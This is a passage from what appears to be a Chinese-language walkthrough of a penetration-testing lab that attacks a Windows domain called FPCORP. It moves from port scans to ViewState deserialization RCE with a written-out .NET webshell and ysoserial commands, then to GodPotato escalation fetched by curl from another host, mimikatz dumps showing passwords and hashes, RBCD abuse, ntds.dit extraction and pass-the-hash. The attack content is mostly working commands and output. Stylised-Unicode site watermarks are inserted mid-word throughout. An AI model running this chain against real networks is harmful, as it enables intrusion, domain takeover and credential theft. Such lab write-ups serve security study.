│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[1.8s] 已选择服务扫描模式
[1.8s] 开始信息扫描
[1.8s] 最终有效主机数量: 1
[1.8s] 开始主机扫描
[1.8s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] 有效端口数量: 65535
[1.8s] [*] 端口开放 172.22.20.165:445
[1.8s] [*] 端口开放 172.22.20.165:139
[1.8s] [*] 端口开放 172.22.20.165:135
[7.8s] [*] 端口开放 172.22.20.165:3389
[9.9s] [*] 端口开放 172.22.20.165:5040
[10.8s] [*] 端口开放 172.22.20.165:5357
[39.4s] [*] 端口开放 172.22.20.165:49664
[39.4s] [*] 端口开放 172.22.20.165:49665
[39.4s] [*] 端口开放 172.22.20.165:49666
[39.4s] [*] 端口开放 172.22.20.165:49667
[39.4s] [*] 端口开放 172.22.20.165:49669
[39.4s] [*] 端口开放 172.22.20.165:49670
[39.4s] [*] 端口开放 172.22.20.165:49671
[39.4s] [*] 端口开放 172.22.20.165:49672
[39.4s] [*] 端口开放 172.22.20.165:49673
[48.2s] 扫描完成, 发现 15 个开放端口
[48.2s] 存活端口数量: 15
[48.2s] 开始漏洞扫描
[48.2s] [+] NetBios 172.22.20.165 FPCORP\FPSRVIIS03-2
[48.2s] [*] NetInfo 扫描结果
目标主机: 172.22.20.165
主机名: FPSRVIIS03-2
发现的网络接口:
IPv4地址:
└─ 172.22.20.165
[57.5s] 扫描已完成: 7/7
FPSRVFS02:
root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.32 -p 1-65535
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[1.8s] 已选择服务扫描模式
[1.8s] 开始信息扫描
[1.8s] 最终有效主机数量: 1
[1.8s] 开始主机扫描
[1.8s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] 有效端口数量: 65535
[1.8s] [*] 端口开放 172.22.20.32:445
[1.8s] [*] 端口开放 172.22.20.32:135
[1.8s] [*] 端口开放 172.22.20.32:139
[8.8s] [*] 端口开放 172.22.20.32:3389
[12.1s] [*] 端口开放 172.22.20.32:5985
[43.9s] [*] 端口开放 172.22.20.32:47001
[45.2s] [*] 端口开放 172.22.20.32:49664
[45.2s] [*] 端口开放 172.22.20.32:49665
[45.2s] [*] 端口开放 172.22.20.32:49666
[45.2s] [*] 端口开放 172.22.20.32:49667
[45.2s] [*] 端口开放 172.22.20.32:49668
[45.2s] [*] 端口开放 172.22.20.32:49672
[45.2s] [*] 端口开放 172.22.20.32:49671
[45.2s] [*] 端口开放 172.22.20.32:49673
[45.2s] [*] 端口开放 172.22.20.32:49670
[45.3s] [*] 端口开放 172.22.20.32:49747
[55.2s] 扫描完成, 发现 16 个开放端口
[55.2s] 存活端口数量: 16
[55.2s] 开始漏洞扫描
[55.2s] [+] NetBios 172.22.20.32 FPCORP\FPSRVFS02
[55.2s] [*] NetInfo 扫描结果
目标主机: 172.22.20.32
主机名: FPSRVFS02
发现的网络接口:
IPv4地址:
└─ 172.22.20.32
[1m18s] 扫描已完成: 7/7
FPSRVAD01:
root@Ollama:~# ./FScan_2.0.1_linux_x64 -h 172.22.20.25 -p 1-65535
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[1.8s] 已选择服务扫描模式
[1.8s] 开始信息扫描
[1.8s] 最终有效主机数量: 1
[1.8s] 开始主机扫描
[1.8s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[1.8s] 有效端口数量: 65535
[1.9s] [*] 端口开放 172.22.20.25:88
[1.9s] [*] 端口开放 172.22.20.25:464
[1.9s] [*] 端口开放 172.22.20.25:445
[1.9s] [*] 端口开放 172.22.20.25:53
[1.9s] [*] 端口开放 172.22.20.25:593
[1.9s] [*] 端口开放 172.22.20.25:139
[1.9s] [*] 端口开放 172.22.20.25:135
[1.9s] [*] 端口开放 172.22.20.25:636
[1.9s] [*] 端口开放 172.22.20.25:389
[7.9s] [*] 端口开放 172.22.20.25:3268
[7.9s] [*] 端口开放 172.22.20.25:3269
[7.9s] [*] 端口开放 172.22.20.25:3389
[12.1s] [*] 端口开放 172.22.20.25:5985
[12.1s] [*] 端口开放 172.22.20.25:5987
[16.1s] [*] 端口开放 172.22.20.25:9389
[43.2s] [*] 端口开放 172.22.20.25:47001
[44.7s] [*] 端口开放 172.22.20.25:49664
[44.7s] [*] 端口开放 172.22.20.25:49665
[44.7s] [*] 端口开放 172.22.20.25:49666
[44.7s] [*] 端口开放 172.22.20.25:49667
[44.7s] [*] 端口开放 172.22.20.25:49668
[44.7s] [*] 端口开放 172.22.20.25:49670
[44.7s] [*] 端口开放 172.22.20.25:49674
[44.7s] [*] 端口开放 172.22.20.25:49677
[44.7s] [*] 端口开放 172.22.20.25:49678
[44.7s] [*] 端口开放 172.22.20.25:49681
[44.7s] [*] 端口开放 172.22.20.25:49687
[44.7s] [*] 端口开放 172.22.20.25:49703
[44.7s] [*] 端口开放 172.22.20.25:49761
[45.0s] [*] 端口开放 172.22.20.25:50245
[54.9s] 扫描完成, 发现 30 个开放端口
[54.9s] 存活端口数量: 30
[54.9s] 开始漏洞扫描
[55.0s] [*] NetInfo 扫描结果
目标主机: 172.22.20.25
主机名: FPSRVAD01
发现的网络接口:
IPv4地址:
└─ 172.22.20.25
[55.0s] [+] NetBios 172.22.20.25 DC:FPCORP\FPSRVAD01
[55.0s] POC加载完成: 总共387个,成功387个,失败0个
[3m52s] 扫描已完成: 11/11
5. FPSRVIIS03
172.22.20.38:21 匿名登录 FTP
172.22.20.38:8080 IntraFetch Web
匿名登录读 FTP 资源,s𝟯v𝐞n∙𝐬ⅈ𝐭𝘦得到一个 .Net 项目 IntraFetch 的源码
分析项目源码发现项目存在 ViewState 反序列化漏洞,𝒔3𝒗℮𝘯•𝐬𝘪𝘵𝐞从项目源码中获取解密及校验的算法和密钥:
<machineKey decryption="AES" decryptionKey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" validation="SHA1" validationKey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD"/>
编写一个 .NET 𝘀⑶ⅴ𝐞𝘯•𝒔i𝒕eWebshell:
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
找一个包含 ViewState 的页面 Default.aspx(包含 runat="server"),使用 ysoserial 𝘀3ⅴ𝐞n·𝒔i𝘵𝐞构造 Payload:
ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --path="/Default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" --validationalg="SHA1" --validationkey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD" --viewstateuserkey="88527b0d1e5d48e7a527da4b1a9c41ff" --isdebug
ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass2.cs;./System.dll;./System.Web.dll" --path="/Default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="6424A8B2C8CE51FEFECBDBE795A8F33EBD81234CB655F610EEC49CFA13F89CC1" --validationalg="SHA1" --validationkey="1B7E26950A9C9ABFE4FE72FF25649D4DC4CA6286F3943D3ABB1B70AC6D81142D000CC3880E137C49954EF6284980381A2C674F785C13C960BDE13CB2595873FD" --viewstateuserkey="88527b0d1e5d48e7a527da4b1a9c41ff" --isdebug
通过 POST 方法传入 __VIEWSTATE 参数即可RCE,发现没有权限读 𝐬³ⅴ𝘦n•𝘴i𝘵eflag,查看一下特权信息:
whoami /priv
特权信息
----------------------
特权名 描述 状态
============================= ==================== ======
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeAuditPrivilege 生成安全审核 已禁用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
有 ImpersonatePrivilege 特权,使用 ѕ⑶ⅴ𝐞n.ѕ𝘪𝒕eGodPotato 提权
curl http://172.22.20.11:8083/GodPotato.exe -o C:\Windows\Temp\GodPotato.exe
C:\Windows\Temp\GodPotato.exe -cmd "net user administrator qwer1234!"
rdp 登录后发现 𝐬⑶𝘷e𝐧∙𝐬ⅈ𝘵𝘦Administrator 桌面有一个通知文档:关于更新Visual Studio的通知_2025年07月05日.docx
传 mimikatz 𝘀3𝐯𝘦𝐧•𝘴𝘪𝒕𝘦获得域内用户的哈希
mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : FPSRVIIS03$
Domain : FPCORP
Logon Server : (null)
SID : S-1-5-20
msv :
[00000003] Primary
* Username : FPSRVIIS03$
* Domain : FPCORP
* NTLM : 17e2732c1dfa96062534bff91bcf7941
* SHA1 : 440ca472380560b7fa975b9cddafb39c7e94e5eb
* DPAPI : 440ca472380560b7fa975b9cddafb39c
tspkg :
wdigest :
* Username : FPSRVIIS03$
* Domain : FPCORP
* Password : (null)
kerberos :
* Username : fpsrviis03$
* Domain : FPCORP.INT
* Password : f7 0e 99 4c 14 eb ff 14 83 d6 e5 f1 0d 53 16 83 1f 3c 5f 79 7f b8 30 28 79 b8 e3 eb 7b c1 97 af e4 07 dc 8b cf 30 a5 7f 0e 67 fc bb b4 2a d1 a2 17 19 ea 21 8f 24 74 b8 ff c1 28 b5 f1 22 bf 6b 85 69 98 36 b0 c7 e1 2a 80 fa 35 d9 3b cf b7 05 8e 8d b4 6a 19 15 97 a1 aa 53 da 5c 3b 68 65 2d 45 31 54 00 17 e6 69 4c 97 40 88 04 65 4a 16 cb 20 2d 6d 4f 0c 19 09 76 e5 74 d4 96 53 f2 23 74 84 49 bb 0f b7 09 54 d7 c1 5a 73 6f 48 fc 58 6b e5 08 6c 5a 46 bc fe 98 46 65 3d b6 ed 77 e8 0b 7e 9b dd 65 20 8b 90 ae 5a 68 c3 85 22 e8 82 d1 a1 8d ef 7e de db 07 87 0b 09 57 5c 1e c1 d3 d9 ae a3 77 11 e1 d2 e9 d7 fe 53 26 8b fd 77 54 cc a1 9f 2e fc a9 55 df 7c 6b a0 8a ce 8d 2e 25 cd 3e 12 52 57 3a a4 d4 c8 77 8c 7c d1 14 13 6b 12
ssp :
credman :
cloudap :
使用 SharpHound s⑶𝐯𝐞𝘯․ꜱⅈ𝐭𝘦收集域内信息:
GodPotato.exe -cmd "C:\Windows\Temp\SharpHound-v1.1.1\SharpHound.exe -c all --outputdirectory C:\Windows\Temp"
导入到 Bloo𝘴⑶𝘷℮𝘯․𝘀i𝐭edHound 中分析:
6. FPSRVIIS03-2
查看 FPSRVIIS03 中 Web 服务的日志可以发现,FPSRVIIS03-2 𝘀³ⅴ𝐞𝐧·𝒔𝘪t𝐞每隔2分钟就会拉取 VisualStudioSetup.exe,结合 FPSRVIIS03 中的公告猜测其会执行该 exe
FPSRVIIS03-2 中开启了 Windows Defender,直接上免杀马,s⑶𝘷𝐞𝘯.ѕⅈ𝒕e从 Adminstrator 桌面获得 flag
bypassUAC 后传 mimikatz 收集 Hash:
mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"
Authentication Id : 0 ; 128183 (00000000:0001f4b7)
Session : Service from 0
User Name : liu654
Domain : FPCORP
Logon Server : FPSRVAD01
SID : S-1-5-21-3225782379-1150096479-4236096888-1138
msv :
[00000003] Primary
* Username : liu654
* Domain : FPCORP
* NTLM : 9d0692eade0a6529acb5f0b122ae8763
* SHA1 : ab55a10d983dfb60e0f633175af8e6e939bfb020
* DPAPI : 769347cc561870207141327479e8be4e
tspkg :
wdigest :
* Username : liu654
* Domain : FPCORP
* Password : (null)
kerberos :
* Username : liu654
* Domain : FPCORP.INT
* Password : p1Uf^yko@+yHS
ssp :
credman :
cloudap :
拿到 FPCORP.INT\liu654 的密码 p1Uf^yko@+yHS
7. FPSRVFS02
由于 LIU654@FPCORP.INT 对 FPSRVFS02.FPCORP.INT 具有 GenericWrite ꜱ³𝒗ℯ𝘯.𝒔ite权限,可以打 RBCD
proxychains addcomputer.py fpcorp.int/liu654:'p1Uf^yko@+yHS' -dc-ip 172.22.20.25 -dc-host fpcorp.int -computer-name 'TEST$' -computer-pass 'P@ssw0rd'
proxychains rbcd.py fpcorp.int/liu654:'p1Uf^yko@+yHS' -dc-ip 172.22.20.25 -action write -delegate-to 'FPSRVFS02$' -delegate-from 'TEST$'
proxychains getST.py fpcorp.int/'TEST$':'P@ssw0rd' -spn cifs/FPSRVFS02.FPCORP.INT -impersonate Administrator -dc-ip 172.22.20.25
sudo nano /etc/hosts
+++
172.22.20.32 FPSRVFS02.FPCORP.INT
+++
export KRB5CCNAME=Administrator@cifs_FPSRVFS02.FPCORP.INT@FPCORP.INT.ccache
proxychains wmiexec.py Administrator@FPSRVFS02.FPCORP.INT -k -no-pass -dc-ip 172.22.20.25 -codec=gbk
由于 FPSRVFS02 有 SVC_BKPADMIN@FPCORP.INT 的 session,𝘀⑶𝐯e𝘯∙𝐬ite传 mimikatz 收集 Hash:
mimikatz.exe "log" "privilege::debug" "sekurlsa::logonpasswords" "exit"
Authentication Id : 0 ; 95966 (00000000:000176de)
Session : Service from 0
User Name : svc_bkpadmin
Domain : FPCORP
Logon Server : FPSRVAD01
SID : S-1-5-21-3225782379-1150096479-4236096888-1176
msv :
[00000003] Primary
* Username : svc_bkpadmin
* Domain : FPCORP
* NTLM : f2f3e075ca082813f0d8191f947b0e01
* SHA1 : 272514fca4ff5d1dbde31190d29158693c788333
* DPAPI : f5b7f440b2e68c1592f2dd9d7d8e0466
tspkg :
wdigest :
* Username : svc_bkpadmin
* Domain : FPCORP
* Password : (null)
kerberos :
* Username : svc_bkpadmin
* Domain : FPCORP.INT
* Password : kzmR^lBw1!8BL
ssp :
credman :
cloudap :
拿到 FPCORP.INT\svc_bkpadmin 的密码 kzmR^lBw1!8BL
8. FPSRVAD01
由于 SVC_BKPADMIN@FPCORP.INT 对 FPSRVAD01.FPCORP.INT 具有 CanPSRemote 权限,可以使用 ꜱ³v℮𝒏•ѕⅈt𝘦evil-winrm 登录控制 FPSRVAD01.FPCORP.INT
proxychains evil-winrm -i 172.22.20.25 -u svc_bkpadmin -p "kzmR^lBw1\!8BL"
进去之后发现没有权限读 s⑶𝒗𝐞𝐧.𝘀𝘪𝐭𝐞flag,看一下特权信息:
whoami /priv
特权信息
----------------------
特权名 描述 状态
============================= ================ ======
SeMachineAccountPrivilege 将工作站添加到域 已启用
SeBackupPrivilege 备份文件和目录 已启用
SeRestorePrivilege 还原文件和目录 已启用
SeShutdownPrivilege 关闭系统 已启用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已启用
有 SeBackupPrivilege 特权,𝘀3𝐯en․ѕⅈt𝘦使用卷影复制导出 Hash:
echo "set context persistent nowriters" | out-file ./diskshadow.txt -encoding ascii
echo "add volume c: alias temp" | out-file ./diskshadow.txt -encoding ascii -append
echo "create" | out-file ./diskshadow.txt -encoding ascii -append
echo "expose %temp% z:" | out-file ./diskshadow.txt -encoding ascii -append
diskshadow.exe /s c:\temp\diskshadow.txt
robocopy /b z:\windows\system32\config . system
RoboCopy /b z:\windows\ntds . ntds.dit
secretsdump.py -ntds ntds.dit -system system local
Administrator:500:aad3b435b51404eeaad3b435b51404ee:972ffc4a036603066d388a1e28b4f583:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
FPSRVAD01$:1000:aad3b435b51404eeaad3b435b51404ee:52b489dc1e61fc2ef34152c382982faf:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b70e6f2681a7677a5bb97f5f38e9a5e6:::
FPITWKS101$:1103:aad3b435b51404eeaad3b435b51404ee:84bb2e34c8df3ff887870909976068ba:::
FPSRVFS02$:1104:aad3b435b51404eeaad3b435b51404ee:498d1edeac2f6994d49faba3358b48bd:::
[*] Kerberos keys from ntds.dit
Administrator:aes256-cts-hmac-sha1-96:df24c180d344f70f1ecb4384d5310dcf73de5bdb49347ae6f93ff1aa157a808f
Administrator:aes128-cts-hmac-sha1-96:f9cfc900b462330f6450ed88990d478b
Administrator:des-cbc-md5:ec325e9b2cfdfe6d
FPSRVAD01$:aes256-cts-hmac-sha1-96:622dbab2d042ddef7456f42f33d168adce091f679d79a7d1987eb952fc4a58fb
FPSRVAD01$:aes128-cts-hmac-sha1-96:a3240e9771fcb708c2f3694221397034
FPSRVAD01$:des-cbc-md5:2f76d30e19d33231
krbtgt:aes256-cts-hmac-sha1-96:a509693becfe3315a89e8877f2d2fbbb25609b6b99ab7691168ddaf7e102314c
krbtgt:aes128-cts-hmac-sha1-96:9fcb039ba0afa32f4294212e3f286d96
krbtgt:des-cbc-md5:5431f1439e291f10
FPITWKS101$:aes256-cts-hmac-sha1-96:92c5faadd7bf017c94035f476b013d7f89d584c65d21e2a5273b162327549f84
FPITWKS101$:aes128-cts-hmac-sha1-96:4b24dfd5ff95402c2d743cf710a63fc5
FPITWKS101$:des-cbc-md5:3df1c2ad1ac164b0
FPSRVFS02$:aes256-cts-hmac-sha1-96:695c0f85a867e2d4db59dcb8afe6aca84c3cd324eb963f0a067f228711e762aa
FPSRVFS02$:aes128-cts-hmac-sha1-96:202b2f21f606ca7a6edff8d3d24b2181
FPSRVFS02$:des-cbc-md5:a131b6c2f8673d98
[*] Cleaning up...
proxychains wmiexec.py administrator@172.22.20.25 -hashes "aad3b435b51404eeaad3b435b51404ee:972ffc4a036603066d388a1e28b4f583"